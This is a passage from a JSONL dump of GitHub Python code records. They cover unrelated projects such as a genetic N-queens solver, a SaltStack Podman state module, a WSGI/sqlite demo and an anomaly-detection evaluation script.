_training_error_ax.set_ylabel(\"Error\")\n _training_error_ax.set_xlabel(\"Iteration\")\n _training_error_ax.set_title(\"Training Error\")\n _training_error_ax.grid(b=True, which='major', color='black', linestyle='-')\n _training_error_ax.grid(b=True, which='minor', color='g', linestyle='--')\n \n # _fig.show()\n # er.show()\n plt.show()\n \n # print('Test score:', score[0])\n # print('Test accuracy:', score[1])","repo_name":"Neo-X/RL-Tutorials","sub_path":"exampleAdapter/kerasRegrssionExample.py","file_name":"kerasRegrssionExample.py","file_ext":"py","file_size_in_byte":6716,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"99"} +{"seq_id":"75022851845","text":"__author__ = 'huxm855'\n\nimport os\nimport requests\n\n\ndef test_v1_file_videoResource(login):\n ''' 获取资源视频内容功能接口'''\n base_url = login[0] + \"/v1/file/videoResource\"\n params = {'filePath': '/f/20180202/sport/feed/v/31dd56255a134ee3a455a693c30e8255.mp4', 'width': 100, 'second': 1}\n r = requests.get(base_url, headers=login[-1], params=params, verify=False)\n assert len(r.content)==1668\n assert r.status_code==200\n\n\nif __name__ == '__main__':\n os.system('pytest -s -v {file}'.format(file=__file__))\n","repo_name":"Jarthong/sport_auto_test","sub_path":"APP_interface_test/interface/App_Version_Controller/test_v1_file_videoResource.py","file_name":"test_v1_file_videoResource.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"9770252090","text":"#! /usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport cgi\nimport cgitb\nimport sqlite3\n\ndbname = '/tmp/database.db'\n#dbname = ':memory:'\n\ncgitb.enable()\n\ndef application(environ,start_response):\n html = '\\n' \\\n '\\n' \\\n '\\n' \\\n 'WSGI テスト\\n' \\\n '\\n' \\\n '\\n'\n form = cgi.FieldStorage(environ=environ,keep_blank_values=True)\n if ('v1' not in form) or ('v2' not in form):\n html += '\\n' \\\n '
\\n' \\\n '
\\n' \\\n '学生番号(整数)
\\n' \\\n '氏名 (文字列)
\\n' \\\n '\\n' \\\n '
\\n' \\\n '
\\n' \\\n '\\n'\n else:\n con = sqlite3.connect(dbname)\n con.text_factory = str\n cur = con.cursor()\n create_table = 'create table users (id int, name varchar(64))'\n try:\n cur.execute(create_table)\n except sqlite3.OperationalError:\n pass\n v1 = form.getvalue(\"v1\", \"0\")\n v2 = form.getvalue(\"v2\", \"0\")\n sql = 'insert into users (id, name) values (?,?)'\n cur.execute(sql, (int(v1),v2))\n con.commit()\n html += '\\n' \\\n '
\\n' \\\n '
    \\n'\n sql = 'select * from users'\n for row in cur.execute(sql):\n html += '
  1. ' + str(row[0]) + ',' + row[1] + '
  2. \\n'\n html += '
\\n' \\\n '
\\n' \\\n '
登録ページに戻る\\n' \\\n '\\n'\n con.close()\n html += '\\n'\n response_header = [('Content-type','text/html')]\n status = '200 OK'\n start_response(status,response_header)\n return [html]\n\nfrom wsgiref import simple_server\nif __name__ == '__main__':\n server = simple_server.make_server('', 8080, application)\n server.serve_forever()\n","repo_name":"ayahito-saji/computer-jikken","sub_path":"cgi-bin/test_wsgi.py","file_name":"test_wsgi.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"36094433442","text":"\"\"\"Main module.\"\"\"\n\nimport pulsectl\n\n\ndef current_volume(pl, format=\"墳 {0:2.0f}%\"):\n with pulsectl.Pulse(\"volume\") as pulse:\n sinks = pulse.sink_list()\n s = sinks[0] # catch exception\n vol = pulse.volume_get_all_chans(s) # normalized volume: [0.0 - 1.0]\n vol_pct = round(vol * 100)\n # pulse.volume_set_all_chans(s, 0.20)\n\n return [\n {\n \"contents\": format.format(vol_pct),\n \"gradient_level\": vol_pct,\n \"highlight_groups\": [\n \"pulse_audio_volume_gradient\",\n \"pulse_audio_volume\",\n ],\n \"divider_highlight_group\": \"background:divider\",\n }\n ]\n\n\ndef main():\n print(current_volume(None))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"gmagno/powerline_pulseaudio_volume_segment","sub_path":"powerline_pulseaudio_volume/powerline_pulseaudio_volume.py","file_name":"powerline_pulseaudio_volume.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"99"} +{"seq_id":"27719368545","text":"from operator import indexOf\r\nimport random\r\n\r\n# Fazendo cromossomos aleatórios\r\ndef random_chromosome(size):\r\n return [random.randint(0, size - 1) for _ in range(size)]\r\n\r\n\r\n# Calculando a aptidão\r\ndef fitness(chromosome, maxFitness):\r\n horizontal_collisions = (\r\n sum([chromosome.count(queen) - 1 for queen in chromosome]) / 2\r\n )\r\n diagonal_collisions = 0\r\n\r\n n = len(chromosome)\r\n left_diagonal = [0] * (2 * n - 1)\r\n right_diagonal = [0] * (2 * n - 1)\r\n for i in range(n):\r\n left_diagonal[i + chromosome[i] - 1] += 1\r\n right_diagonal[len(chromosome) - i + chromosome[i] - 2] += 1\r\n\r\n diagonal_collisions = 0\r\n for i in range(2 * n - 1):\r\n counter = 0\r\n if left_diagonal[i] > 1:\r\n counter += left_diagonal[i] - 1\r\n if right_diagonal[i] > 1:\r\n counter += right_diagonal[i] - 1\r\n diagonal_collisions += counter\r\n\r\n # 28-(2+3)=23\r\n return int(maxFitness - (horizontal_collisions + diagonal_collisions))\r\n\r\n\r\n# Fazendo cross_over entre dois cromossomos\r\ndef crossover(x, y):\r\n n = len(x)\r\n child = [0] * n\r\n for i in range(n):\r\n c = random.randint(0, 1)\r\n if c < 0.5:\r\n child[i] = x[i]\r\n else:\r\n child[i] = y[i]\r\n return child\r\n\r\n\r\n# Alterando aleatoriamente o valor de um índice aleatório de um cromossomo\r\ndef mutate(x):\r\n n = len(x)\r\n c = random.randint(0, n - 1)\r\n m = random.randint(0, n - 1)\r\n x[c] = m\r\n return x\r\n\r\n\r\n# Calculando a probabilidade\r\ndef probability(chromosome, maxFitness):\r\n return fitness(chromosome, maxFitness) / maxFitness\r\n\r\n\r\n# Seleção\r\ndef random_pick(population, probabilities):\r\n populationWithProbabilty = zip(population, probabilities)\r\n total = sum(w for c, w in populationWithProbabilty)\r\n r = random.uniform(0, total)\r\n upto = 0\r\n for c, w in zip(population, probabilities):\r\n if upto + w >= r:\r\n return c\r\n upto += w\r\n assert False, \"Shouldn't get here\"\r\n\r\n\r\n# Algoritmo genético\r\ndef genetic_queen(population, maxFitness):\r\n mutation_probability = 0.1\r\n new_population = []\r\n sorted_population = []\r\n probabilities = []\r\n for n in population:\r\n f = fitness(n, maxFitness)\r\n probabilities.append(f / maxFitness)\r\n sorted_population.append([f, n])\r\n\r\n sorted_population.sort(reverse=True)\r\n\r\n # Elitismo\r\n new_population.append(sorted_population[0][1]) # a melhor geração\r\n new_population.append(sorted_population[-1][1]) # a pior geração\r\n\r\n for i in range(len(population) - 2):\r\n\r\n chromosome_1 = random_pick(population, probabilities)\r\n chromosome_2 = random_pick(population, probabilities)\r\n\r\n # Criando dois novos cromossomos a partir de 2 cromossomos\r\n child = crossover(chromosome_1, chromosome_2)\r\n\r\n # Mutação\r\n if random.random() < mutation_probability:\r\n child = mutate(child)\r\n\r\n new_population.append(child)\r\n if fitness(child, maxFitness) == maxFitness:\r\n break\r\n return new_population\r\n\r\n\r\n# imprime determinado cromossomo\r\ndef print_chromosome(chrom, maxFitness):\r\n print(\r\n \"Chromosome = {}, Fitness = {}\".format(str(chrom), fitness(chrom, maxFitness))\r\n )\r\n\r\n\r\n# imprime a placa de cromossomos fornecida\r\ndef print_board(chrom):\r\n board = []\r\n\r\n for x in range(nq):\r\n board.append([\"x\"] * nq)\r\n\r\n for i in range(nq):\r\n board[chrom[i]][i] = \"Q\"\r\n\r\n def print_board(board):\r\n for row in board:\r\n print(\" \".join(row))\r\n\r\n print()\r\n print_board(board)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n POPULATION_SIZE = 500\r\n\r\n while True:\r\n # say N = 8\r\n nq = int(input(\"Please enter your desired number of queens (0 for exit): \"))\r\n if nq == 0:\r\n break\r\n\r\n maxFitness = (nq * (nq - 1)) / 2 # 8*7/2 = 28\r\n population = [random_chromosome(nq) for _ in range(POPULATION_SIZE)]\r\n\r\n generation = 1\r\n while (\r\n not maxFitness in [fitness(chrom, maxFitness) for chrom in population]\r\n and generation < 200\r\n ):\r\n\r\n population = genetic_queen(population, maxFitness)\r\n if generation % 10 == 0:\r\n print(\"=== Generation {} ===\".format(generation))\r\n print(\r\n \"Maximum Fitness = {}\".format(\r\n max([fitness(n, maxFitness) for n in population])\r\n )\r\n )\r\n generation += 1\r\n\r\n fitnessOfChromosomes = [fitness(chrom, maxFitness) for chrom in population]\r\n\r\n bestChromosomes = population[\r\n indexOf(fitnessOfChromosomes, max(fitnessOfChromosomes))\r\n ]\r\n\r\n if maxFitness in fitnessOfChromosomes:\r\n print(\"\\nResolvido na Geração {}!\".format(generation - 1))\r\n\r\n print_chromosome(bestChromosomes, maxFitness)\r\n\r\n print_board(bestChromosomes)\r\n\r\n else:\r\n print(\r\n \"\\n Infelizmente, não conseguimos encontrar a resposta até a geração {}. A melhor resposta que o algoritmo encontrou foi:\".format(\r\n generation - 1\r\n )\r\n )\r\n print_board(bestChromosomes)","repo_name":"Noggrj/I.A","sub_path":"GeneticNQueens.py","file_name":"GeneticNQueens.py","file_ext":"py","file_size_in_byte":5300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"4567528468","text":"import logging\nlogger = logging.getLogger(__name__)\n\nfrom rest_framework import throttling\n\nclass LoggingThrottle(throttling.BaseThrottle):\n def allow_request(self, request, view):\n if request.user.id:\n user = '{} ({})'.format(request.user, request.user.member.id)\n else:\n user = None\n\n method = request._request.method\n path = request._request.path\n\n if method == 'OPTIONS':\n return True\n\n if path.startswith('/lockout/'):\n return True\n elif path == '/stats/sign/':\n pass # log this one\n elif path.startswith('/stats/'):\n return True\n elif path == '/sessions/' and user == None:\n return True\n elif path in [\n '/pinball/high_scores/',\n '/pinball/monthly_high_scores/',\n '/protocoin/printer_balance/',\n '/hosting/high_scores/',\n '/hosting/monthly_high_scores/',\n '/stats/ord2/printer3d/',\n '/stats/ord3/printer3d/'\n ]:\n return True\n\n if request.data:\n if type(request.data) is not dict:\n data = request.data.dict()\n else:\n data = request.data\n for key in ['password', 'password1', 'password2', 'old_password', 'new_password1', 'new_password2']:\n if key in data:\n data[key] = '[CENSORED]'\n else:\n data = None\n\n logging.info('%s %s | User: %s | Data: %s', method, path, user, data)\n return True\n","repo_name":"Protospace/spaceport","sub_path":"apiserver/apiserver/api/throttles.py","file_name":"throttles.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"99"} +{"seq_id":"6829506431","text":"# Given a linked list ,remove the nth node from the end of the list ,return its head.\r\n# If the 'n' is greater then length of the list ,delete first node of list.\r\nclass Node:\r\n def __init__(self,data):\r\n self.data = data\r\n self.next = None\r\n\r\nnode1 = Node(1)\r\nnode2 = Node(3)\r\nnode3 = Node(4)\r\nnode4 = Node(5)\r\nnode5 = Node(11)\r\n\r\nnode1.next = node2\r\nnode2.next = node3\r\nnode3.next = node4\r\nnode4.next = node5\r\n\r\ndef length(head):\r\n cur = head\r\n count = 1\r\n while cur != None :\r\n cur = cur.next\r\n count += 1\r\n return count\r\n\r\ndef remove_nth_node_from_end(head,n):\r\n l = length(head)\r\n if l <= n :\r\n head = head.next\r\n else:\r\n i = head\r\n j = head\r\n for k in range(0,n-1):\r\n j = j.next\r\n while j.next.next != None:\r\n i = i.next\r\n j = j.next\r\n i.next = i.next.next\r\n return head\r\n\r\n# test case\r\nnew_head = remove_nth_node_from_end(node1,2)\r\nwhile new_head != None :\r\n print(new_head.data,end=' ')\r\n new_head = new_head.next\r\n","repo_name":"Ranjit007ai/InterviewBit-LinkedList","sub_path":"linkedlist/remove_nth_node_from_end/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"30764618058","text":"class Solution(object):\n def lengthOfLastWord(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n if s == \"\":\n return 0\n lasts = s.split() # 没有参数的时候 默认参数是space\n if len(lasts) == 0: \n return 0 \n else:\n last = lasts[len(lasts)-1]\n return len(last)\n\n # 从最后往前读,找到的一个空格就可以","repo_name":"XiyuanHu/Leetcode","sub_path":"src/lengthOfLastWord.py","file_name":"lengthOfLastWord.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"19018087457","text":"#!/usr/bin/python3\n\"\"\"\nPrints the State object with the name passed as an argument.\n\"\"\"\n\n# Import modules from the SQLAlchemy library\nimport sqlalchemy\nfrom sys import argv\nfrom model_state import Base, State\nfrom sqlalchemy import (create_engine)\nfrom sqlalchemy.orm import sessionmaker\n\nif __name__ == \"__main__\":\n\n engine = create_engine(\n 'mysql+mysqldb://{}:{}@localhost:3306/{}'\n .format(argv[1], argv[2], argv[3]), pool_pre_ping=True)\n # Create tables in database based on the defined models\n Base.metadata.create_all(engine)\n # Create a session to interact with the database\n Session = sessionmaker(bind=engine)\n session = Session()\n states = session.query(State).\\\n filter(State.name == argv[4]).order_by(State.id).all()\n # Query the State object with the name passed as an argument\n if states:\n print(\"{}\".format(states[0].id))\n else:\n print(\"Not found\")\n # Close session\n session.close()\n","repo_name":"simonkari/alx-higher_level_programming","sub_path":"0x0F-python-object_relational_mapping/10-model_state_my_get.py","file_name":"10-model_state_my_get.py","file_ext":"py","file_size_in_byte":986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"22904906077","text":"\"\"\"\nState module to interface with Podman through its REST API.\n\nThis is **very** basic at the moment and mostly wraps the\n``podman`` Python module API.\n\nAll commands can target the system ``podman`` running as root\nor a rootless ``podman`` running under a user account.\n\nNote that the rootless API service usually requires lingering to be\nenabled for the user account.\n\n:depends: ``podman`` Python module\n\"\"\"\n\nimport logging\n\nfrom salt.exceptions import CommandExecutionError\n\nlog = logging.getLogger(__name__)\n\n__virtualname__ = \"podman\"\n\n\ndef __virtual__():\n try:\n __salt__[\"podman.exists\"]\n except KeyError:\n return False, \"The `podman` execution module was not loaded\"\n return __virtualname__\n\n\ndef absent(\n name,\n volumes=False,\n force=False,\n user=None,\n):\n \"\"\"\n Ensure that a container with this name does not exist.\n\n name\n The name of the container. Required.\n\n volumes\n Delete associated volumes as well. Defaults to false.\n\n force\n Kill a running container before deleting. Defaults to false.\n\n user\n Apply to rootless containers under this user account.\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n containers = __salt__[\"podman.ps\"](all=True, user=user)\n exists = False\n for container in containers:\n if name in container[\"Names\"]:\n exists = True\n break\n\n if not exists:\n ret[\"comment\"] = f\"A container named `{name}` does not exist\"\n return ret\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = \"Would have removed the container\"\n ret[\"changes\"] = {\"removed\": name}\n return ret\n\n __salt__[\"podman.rm\"](\n name,\n volumes=volumes,\n force=force,\n user=user,\n )\n ret[\"changes\"] = {\"removed\": name}\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n\n\ndef dead(\n name,\n timeout=None,\n user=None,\n):\n \"\"\"\n Ensure that a container is not running.\n\n name\n The name of the container. Required.\n\n timeout\n Seconds to wait for container to stop before killing container.\n\n user\n Apply to rootless containers under this user account.\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n containers = __salt__[\"podman.ps\"](all=True, user=user)\n exists = False\n state = None\n for container in containers:\n if name in container[\"Names\"]:\n exists = True\n state = container[\"State\"]\n break\n\n if not exists:\n ret[\"result\"] = False\n ret[\"comment\"] = f\"A container named `{name}` does not exist\"\n\n if state != \"running\":\n # Other states? @TODO\n ret[\"comment\"] = f\"A container named `{name}` is not running\"\n return ret\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = \"Would have stopped the container\"\n ret[\"changes\"] = {\"stopped\": name}\n return ret\n\n __salt__[\"podman.stop\"](\n name,\n timeout=timeout,\n user=user,\n )\n ret[\"changes\"] = {\"stopped\": name}\n # @TODO check if stopped\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n\n\ndef present(\n name,\n image,\n command=None,\n user=None,\n **kwargs,\n):\n \"\"\"\n Ensure that a container with this name is present. This will not check\n existing containers for compliance with the specified configuration. @TODO\n\n name\n The name of the container. Required.\n\n image\n The image to base the container on. Required.\n\n command\n Command to run in the container.\n\n user\n Create a rootless container under this user account. Requires the Podman\n socket to run for this user, which usually requires lingering enabled.\n\n kwargs\n Keyword arguments that are passed to the ``create`` method of the\n ContainersManager instance.\n\n https://github.com/containers/podman-py/blob/main/podman/domain/containers_create.py\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n containers = __salt__[\"podman.ps\"](all=True, user=user)\n exists = False\n for container in containers:\n if name in container[\"Names\"]:\n exists = True\n break\n\n if exists:\n ret[\"comment\"] = f\"A container named `{name}` is already present\"\n return ret\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = \"Would have created the container\"\n ret[\"changes\"] = {\"created\": name}\n return ret\n\n # some parameters need the patched function currently\n suffix = \"\"\n for param in (\"secret_env\",):\n if param in kwargs:\n suffix = \"_patched\"\n\n __salt__[f\"podman.create{suffix}\"](\n image,\n command=command,\n name=name,\n user=user,\n **kwargs,\n )\n ret[\"changes\"] = {\"created\": name}\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n\n\ndef running(\n name,\n image,\n command=None,\n remove=False,\n stdout=True,\n stderr=False,\n user=None,\n **kwargs,\n):\n \"\"\"\n Ensure that a container is running. If it exists, but is not running,\n will be started without checking the parameters. To ensure changes are\n applied, you should rely on ``auto_remove: true``. This will not check\n running containers for compliance with the specified configuration.\n\n name\n The name of the container. Required.\n\n image\n The image to base the container on. Required.\n\n command\n Command to run in the container.\n\n remove\n Delete the container after the container's processes have finished. Defaults to False.\n\n stdout\n Include stdout output in the return. Defaults to True.\n\n stderr\n Include stderr output in the return. Defaults to False.\n\n user\n Run a rootless container under this user account. Requires the Podman\n socket to run for this user, which usually requires lingering enabled.\n\n kwargs\n Keyword arguments that are passed to the ``create`` method of the\n ContainersManager instance.\n\n https://github.com/containers/podman-py/blob/main/podman/domain/containers_create.py\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n containers = __salt__[\"podman.ps\"](all=True, user=user)\n exists = False\n state = None\n for container in containers:\n if name in container[\"Names\"]:\n exists = True\n state = container[\"State\"]\n break\n\n if exists and state == \"running\":\n ret[\"comment\"] = f\"A container named `{name}` is already running\"\n return ret\n\n if exists:\n func, past = (\n (\"unpause\", \"unpaused\") if state == \"paused\" else (\"start\", \"started\")\n )\n\n if __opts__[\"test\"]:\n ret[\"changes\"][past] = name\n ret[\"result\"] = None\n ret[\"comment\"] = f\"Would have {past} the existing container\"\n return ret\n\n __salt__[f\"podman.{func}\"](name, user=user)\n ret[\"changes\"][past] = name\n ret[\"comment\"] = f\"The existing container was {past}\"\n return ret\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = \"Would have created and started the container\"\n ret[\"changes\"] = {\"created\": name, \"started\": name}\n return ret\n\n res = __salt__[\"podman.run\"](\n image,\n command=command,\n name=name,\n remove=remove,\n stdout=stdout,\n stderr=stderr,\n user=user,\n **kwargs,\n )\n ret[\"changes\"] = {\"created\": name, \"started\": name, \"output\": res}\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n\n\ndef secret_absent(\n name,\n user=None,\n):\n \"\"\"\n Ensure that a secret with this name does not exist.\n\n name\n The name of the secret. Required.\n\n user\n Apply to Podman running under this user account.\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n exists = __salt__[\"podman.secret_exists\"](name, user=user)\n\n if not exists:\n ret[\"comment\"] = f\"A secret named `{name}` does not exist\"\n return ret\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = \"Would have removed the secret\"\n ret[\"changes\"] = {\"removed\": name}\n return ret\n\n __salt__[\"podman.remove_secret\"](\n name,\n user=user,\n )\n ret[\"changes\"] = {\"removed\": name}\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n\n\ndef secret_present(\n name,\n data,\n overwrite=False,\n driver=None,\n user=None,\n):\n \"\"\"\n Ensure a secret is present.\n\n name\n The name of the secret. Required.\n\n data\n The data the secret should contain. Required.\n\n overwrite\n Overwrite an existing secret. This might be necessary\n if the values should be updated. There is currently no\n (easy) way to check the secret that is stored in Podman.\n Defaults to false.\n\n driver\n The secret driver to use. Defaults to ``file`` (Podman default).\n\n user\n Create a rootless container under this user account. Requires the Podman\n socket to run for this user, which usually requires lingering enabled.\n \"\"\"\n ret = {\"name\": name, \"changes\": {}, \"result\": True, \"comment\": \"\"}\n\n try:\n verb = \"create\"\n exists = __salt__[\"podman.secret_exists\"](name, user=user)\n\n if exists and not overwrite:\n ret[\"comment\"] = f\"A secret named `{name}` is already present\"\n return ret\n\n if exists:\n verb = \"update\"\n\n if __opts__[\"test\"]:\n ret[\"result\"] = None\n ret[\"comment\"] = f\"Would have {verb}d the secret\"\n ret[\"changes\"] = {f\"{verb}d\": name}\n return ret\n\n if exists:\n # Cannot overwrite existing secrets\n __salt__[\"podman.remove_secret\"](name, user=user)\n\n __salt__[\"podman.create_secret\"](\n name,\n data=data,\n driver=driver,\n user=user,\n )\n ret[\"changes\"] = {f\"{verb}d\": name}\n\n except CommandExecutionError as err:\n ret[\"result\"] = False\n ret[\"comment\"] = str(err)\n\n return ret\n","repo_name":"lkubb/salt-podman-formula","sub_path":"_states/podman.py","file_name":"podman.py","file_ext":"py","file_size_in_byte":11229,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"20943627147","text":"import cv2\nimport logger\n\n\ndef filter_blur(img, nb):\n '''\n Apply a filter on pictures\n :param img: String, the file of th e picture to filter\n :param nb: Int value of the blur to apply\n :return: the filtered picture\n '''\n logger.log('Apply the filter blur')\n if (nb > 2) & (nb % 2 != 0):\n blur = cv2.GaussianBlur(img, (nb, nb), cv2.BORDER_DEFAULT)\n return blur\n elif nb <= 1:\n print(\"Value too small\")\n return None\n else:\n print(\"Please enter impair value\")\n return None\n","repo_name":"walidhaddoury/python-imagefilter-groupe_1","sub_path":"filters/filter_blur.py","file_name":"filter_blur.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"38837603914","text":"from __future__ import print_function\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport argparse\nfrom sklearn import metrics\nfrom six.moves import cPickle\nfrom tools.ground_truth import GroundTruthLoader\nimport glob\n\n\nclass RecordResult(object):\n def __init__(self, fpr=None, tpr=None, auc=-np.inf, dataset=None, loss_file=None):\n self.fpr = fpr\n self.tpr = tpr\n self.auc = auc\n self.dataset = dataset\n self.loss_file = loss_file\n\n def __lt__(self, other):\n return self.auc < other.auc\n\n def __str__(self):\n return 'dataset = {}, loss file = {}, auc = {}'.format(self.dataset, self.loss_file, self.auc)\n\n\ndef parser_args():\n parser = argparse.ArgumentParser(description='evaluating the model, computing the roc/auc.')\n\n parser.add_argument('--file', type=str, help='the path of loss file.')\n parser.add_argument('--type', type=str, default='compute_auc', help='the type of evaluation, '\n 'choosing type is: plot_roc, compute_auc, test_func\\n, the default type is compute_auc')\n return parser.parse_args()\n\n\ndef load_loss_gt(loss_file):\n with open(loss_file, 'rb') as f:\n # results {\n # 'dataset': the name of dataset\n # 'mse': the mse of each testing videos,\n # }\n\n # mse_records['mse'] is np.array, shape(#videos)\n # mse_records[0] is np.array ------> 01.avi\n # mse_records[1] is np.array ------> 02.avi\n # ......\n # mse_records[n] is np.array ------> xx.avi\n\n results = cPickle.load(f)\n\n dataset = results['dataset']\n mse_records = results['mse']\n\n num_videos = len(mse_records)\n\n # load ground truth\n gt_loader = GroundTruthLoader()\n gt = gt_loader(dataset=dataset)\n\n assert num_videos == len(gt), 'the number of saved videos does not match the ground truth, {} != {}' \\\n .format(num_videos, len(gt))\n\n return dataset, mse_records, gt\n\n\ndef plot_roc(loss_file):\n optimal_results = compute_auc(loss_file)\n\n # the name of dataset, loss, and ground truth\n dataset, mse_records, gt = load_loss_gt(loss_file=optimal_results.loss_file)\n\n # the number of videos\n num_videos = len(mse_records)\n\n scores = np.array([], dtype=np.float32)\n labels = np.array([], dtype=np.int8)\n sub_video_length_list = []\n\n # video normalization\n for i in range(num_videos):\n distance = mse_records[i]\n\n # distance -= distance.min() # distances = (distance - min) / (max - min)\n # distance /= distance.max()\n # distance = 1 - distance\n\n distance = (distance - distance.min()) / (distance.max() - distance.min())\n distance = 1 - distance\n\n # print(distance.max())\n # print(distance.min())\n\n scores = np.concatenate((scores, distance), axis=0)\n labels = np.concatenate((labels, gt[i]), axis=0)\n\n sub_video_length_list.append(gt[i].shape[0])\n\n fpr, tpr, thresholds = metrics.roc_curve(labels, scores, pos_label=0)\n auc = metrics.auc(fpr, tpr)\n\n # np.savetxt('ped2_scores.txt', scores)\n # np.savetxt('ped2_labels.txt', labels)\n\n # plot the scores\n total = scores.shape[0]\n index = range(0, total, 100)\n # plt.plot(index, scores[index], color='blue')\n plt.plot(scores, color='blue')\n\n # plot the ground truth\n i = 0\n while i < total:\n if labels[i] == 1:\n start = i\n end = i\n while end < total and labels[end] == 1:\n end += 1\n currentAxis = plt.gca()\n currentAxis.add_patch(Rectangle((start, 0.0), end - start, 1.0, color='red', alpha=0.3))\n\n i = end\n else:\n i += 1\n\n # plot line of different videos\n cur_len = 0\n for length in sub_video_length_list:\n cur_len += length\n currentAxis = plt.gca()\n currentAxis.add_patch(Rectangle((cur_len, 0.0), 1, 1.0, color='green', alpha=1))\n\n plt.annotate('AUC = ' + str(auc),\n xy=(total / 2, 0.5), xycoords='data',\n xytext=(-90, -50), textcoords='offset points', fontsize=15,\n arrowprops=dict(arrowstyle=\"->\", connectionstyle=\"arc3,rad=.2\"))\n\n plt.title(dataset)\n plt.ylim(0)\n plt.xlabel('#Frames')\n plt.ylabel('Scores')\n plt.show()\n\n return optimal_results\n\n\ndef compute_auc(loss_file):\n # if not os.path.isdir(loss_file):\n # loss_file_list = [loss_file]\n # else:\n # loss_file_list = os.listdir(loss_file)\n loss_file_list = glob.glob(loss_file)\n # loss_file_list = [os.path.join(loss_file, sub_loss_file) for sub_loss_file in loss_file_list]\n print(loss_file_list)\n optimal_results = RecordResult()\n for sub_loss_file in loss_file_list:\n # the name of dataset, loss, and ground truth\n dataset, mse_records, gt = load_loss_gt(loss_file=sub_loss_file)\n\n # the number of videos\n num_videos = len(mse_records)\n\n scores = np.array([], dtype=np.float32)\n labels = np.array([], dtype=np.int8)\n # video normalization\n for i in range(num_videos):\n distance = mse_records[i]\n\n distance -= distance.min() # distances = (distance - min) / (max - min)\n distance /= distance.max()\n distance = 1 - distance\n # distance = distance[:, 0]\n\n print(scores.shape, distance.shape)\n scores = np.concatenate((scores, distance), axis=0)\n labels = np.concatenate((labels, gt[i]), axis=0)\n\n if np.isnan(scores).any():\n continue\n fpr, tpr, thresholds = metrics.roc_curve(labels, scores, pos_label=0)\n auc = metrics.auc(fpr, tpr)\n # eer = brentq(lambda x : 1. - x - interp1d(fpr, tpr)(x), 0., 1.)\n # thresh = interp1d(fpr, thresholds)(eer)\n results = RecordResult(fpr, tpr, auc, dataset, sub_loss_file)\n\n if optimal_results < results:\n optimal_results = results\n\n print(results)\n # with open(sub_loss_file+'.csv', 'w') as f:\n # writer = csv.writer(f)\n # writer.writerow(fpr)\n # writer.writerow(tpr)\n\n return optimal_results\n\n\ndef compute_eer(loss_file):\n pass\n\n\ndef test_func(*args):\n # simulate testing on CUHK AVENUE dataset\n dataset = GroundTruthLoader.AVENUE\n\n # load the ground truth\n gt_loader = GroundTruthLoader()\n gt = gt_loader(dataset=dataset)\n\n num_videos = len(gt)\n\n simulated_results = {\n 'dataset': dataset,\n 'mse': []\n }\n\n simulated_mse = []\n for i in range(num_videos):\n sub_video_length = gt[i].shape[0]\n simulated_mse.append(np.random.random(size=sub_video_length))\n\n simulated_results['mse'] = simulated_mse\n\n # writing to file, 'generated_loss.bin'\n with open('generated_loss.bin', 'wb') as save_file:\n cPickle.dump(simulated_results, save_file, cPickle.HIGHEST_PROTOCOL)\n\n print(save_file.name)\n auc, dataset = plot_roc(save_file.name)\n\n print('optimal! dataset = {}, auc = {}'.format(dataset, auc))\n\n\neval_type_function = {\n 'compute_auc': compute_auc,\n 'compute_eer': compute_eer,\n 'plot_auc': plot_roc\n}\n\n\ndef evaluate(eval_type, save_file):\n assert eval_type in eval_type_function, 'there is no type of evaluation {}, please check {}' \\\n .format(eval_type, eval_type_function.keys())\n\n eval_func = eval_type_function[eval_type]\n\n optimal_results = eval_func(save_file)\n\n 